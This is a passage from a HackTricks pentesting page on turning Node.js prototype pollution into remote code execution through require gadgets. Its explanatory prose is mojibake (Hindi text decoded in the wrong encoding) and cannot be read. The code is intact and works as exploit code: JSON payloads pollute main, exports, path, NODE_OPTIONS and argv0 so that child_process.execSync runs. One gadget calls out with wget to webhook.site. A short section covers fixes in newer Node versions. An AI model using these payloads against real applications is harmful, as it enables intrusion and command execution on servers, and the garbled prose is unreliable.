рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдХреЛрдб рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХреЗ рдмрд╛рдж рдПрдХ require рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рднрд▓реЗ рд╣реА рдЖрдк рдкрде рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рди рдХрд░реЗрдВ рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдЖрдк рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЕрд▓рдЧ рдкрде рдХреЛ рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рднрд▓реЗ рд╣реА рдХреЛрдб рдХреА рдкрдВрдХреНрддрд┐ require("./a_file.js") рдпрд╛ require("bytes") рдЬреИрд╕реА рд╣реЛ, рдпрд╣ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджреВрд╖рд┐рдд рдкреИрдХреЗрдЬ рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдХрд░реЗрдЧрд╛ред

рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХреЗ рдмрд╛рдж рдПрдХ require рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреЛрдИ spawn рдлрд╝рдВрдХреНрд╢рди рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рд╣рдорд▓рд╛ рд╣реИ:

  • рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдПрдХ .js рдлрд╝рд╛рдЗрд▓ рдЦреЛрдЬреЗрдВ рдЬреЛ рдЬрдм рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧреА рддреЛ child_process рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧреА

  • рдпрджрд┐ рдЖрдк рдЙрд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

  • .js рдлрд╝рд╛рдЗрд▓ рдХреЗ require рд▓реЛрдб рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдереЛрдВ рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░реЗрдВ рдЬреЛ child_process рдХреЗ рд╕рд╛рде рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛

  • рдЬрдм child_process рдирд┐рд╖реНрдкрд╛рджрди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рд╡рд░рдг/cmdline рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░реЗрдВ (рдкреНрд░рд╛рд░рдВрднрд┐рдХ рддрдХрдиреАрдХреЛрдВ рдХреЛ рджреЗрдЦреЗрдВ)

рдкреВрд░реНрдг require

рдпрджрд┐ рдХрд┐рдпрд╛ рдЧрдпрд╛ require рдкреВрд░реНрдг рд╣реИ (require("bytes")) рдФрд░ рдкреИрдХреЗрдЬ рдореЗрдВ package.json рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдореБрдЦреНрдп рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк main рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ require рдХреЛ рдПрдХ рдЕрд▓рдЧ рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

рд╕рд╛рдкреЗрдХреНрд╖ рдЖрд╡рд╢реНрдпрдХрддрд╛ - 1

рдпрджрд┐ рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрдЬрд╛рдп рдПрдХ рдирд┐рд░рдкреЗрдХреНрд╖ рдкрде рдХреЗ, рддреЛ рдЖрдк рдиреЛрдб рдХреЛ рдПрдХ рдЕрд▓рдЧ рдкрде рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

рд╕рд╛рдкреЗрдХреНрд╖ рдЖрд╡рд╢реНрдпрдХрддрд╛ - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relative require - 3

рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди, рдпрд╣ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ред

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM Gadgets

рдХрд╛рдЧрдЬрд╝ рдореЗрдВ https://arxiv.org/pdf/2207.11171.pdf рдпрд╣ рднреА рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ vm рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдХреБрдЫ рддрд░реАрдХреЛрдВ рд╕реЗ contextExtensions рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рдПрдХ рдЧреИрдЬреЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдкрд┐рдЫрд▓реЗ child_process рддрд░реАрдХреЛрдВ рдХреА рддрд░рд╣, рдЗрд╕реЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдлрд┐рдХреНрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Fixes & Unexpected protections

рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рддрдм рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм рдПрдХ рд╡рд╕реНрддреБ рдХрд╛ attribute рдЬреЛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, undefined рд╣реИред рдпрджрд┐ рдХреЛрдб рдореЗрдВ рдЙрд╕ attribute рдХреЛ set рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ overwrite рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред

рдЬреВрди 2022 рдореЗрдВ рдЗрд╕ рдХрдорд┐рдЯ рд╕реЗ var options рдПрдХ kEmptyObject рд╣реИ, рди рдХрд┐ рдПрдХ {}ред рдЬреЛ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХреЛ options рдХреЗ attributes рдХреЛ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред рдХрдо рд╕реЗ рдХрдо v18.4.0 рд╕реЗ рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рд╣реИ, рдФрд░ рдЗрд╕рд▓рд┐рдП spawn рдФрд░ spawnSync exploits рдЬреЛ рддрд░реАрдХреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рдереЗ, рдЕрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреЗ (рдпрджрд┐ рдХреЛрдИ options рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ!)ред

рдЗрд╕ рдХрдорд┐рдЯ рдореЗрдВ vm рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ contextExtensions рдХрд╛ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХреЛ {} рдХреЗ рдмрдЬрд╛рдп kEmptyObject рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдХреБрдЫ рд╣рдж рддрдХ рдлрд┐рдХреНрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

Other Gadgets

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated